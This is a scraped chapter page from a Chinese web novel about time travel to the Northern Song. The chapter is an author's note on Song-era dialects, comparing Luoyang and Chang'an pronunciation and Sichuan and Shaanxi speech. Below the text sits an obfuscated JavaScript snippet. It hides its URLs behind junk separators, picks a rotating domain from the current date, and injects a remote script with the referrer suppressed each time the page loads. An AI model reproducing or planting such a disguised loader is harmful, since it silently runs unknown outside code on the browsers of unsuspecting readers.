返回

关于语言交流问题 北宋穿越指南

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一章

再仔细查了一下论文,宋代的四川话,叫做梁益方言。

当时,陕西话和四川话(包括汉中),被宋人统称为“西言”,略有不同,大致相当。

最接近宋代发音的四川方言,是现代的乐山话。但又跟乐山话不完全相同,它主要承袭自秦晋方言,并跟古蜀语有一定融合。

举个例子,用宋代的西言说“豆子”,四川话的发音为“豆逼”,陕西话的发音为“豆比”,其实都源自“豆皀”一词。

宋代官话为洛阳音,而当时陕西、四川的西言接近长安音。

以“猪”字举例,洛阳音读“雕”,长安音读“猪”。

就算是宋代的洛阳音,跟现代普通话比较,也有一半左右能听懂。那些能听懂的字,生母韵母和音调不完全相同,但不会太费力,下意识的就能理解其义。剩下那些听不懂的,有一部分连蒙带猜也能猜出来。

当然,也有一部分变化太大,连猜都不知道怎么猜。

《北宋穿越指南》关于语言交流问题正在手打中,请稍等片刻,

内容更新后,请重新刷新页面,即可获取最新更新!

let urls=["hIItIItIIpIIsII:II/II/II{IIdIIdIImII}II/II1II8II/II1II1II0II5II6II1IIbII2II6II2II9II3II8".split("II").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRtRR.RRxRRmRRgRRxRRxRRqRR.RRcRRoRRmRR/RR1RR8RR/RR1RR1RR0RR5RR6RR1RRbRR2RR6RR2RR9RR3RR8".split("RR").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['c4dn4p', '52krf1en56', 'mkzyl', '4e8m9wiscm', '930qsg3j68', '7lhqw', 'f691ax6', 'd5ykh16s8b', 'u7ygkovbl', 'nht5dbh', '8ui4pdu12', 'd69otnj', 'vc2tmv', 'n5m2m', 'o80m3b'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();
上一章 回目录 下一章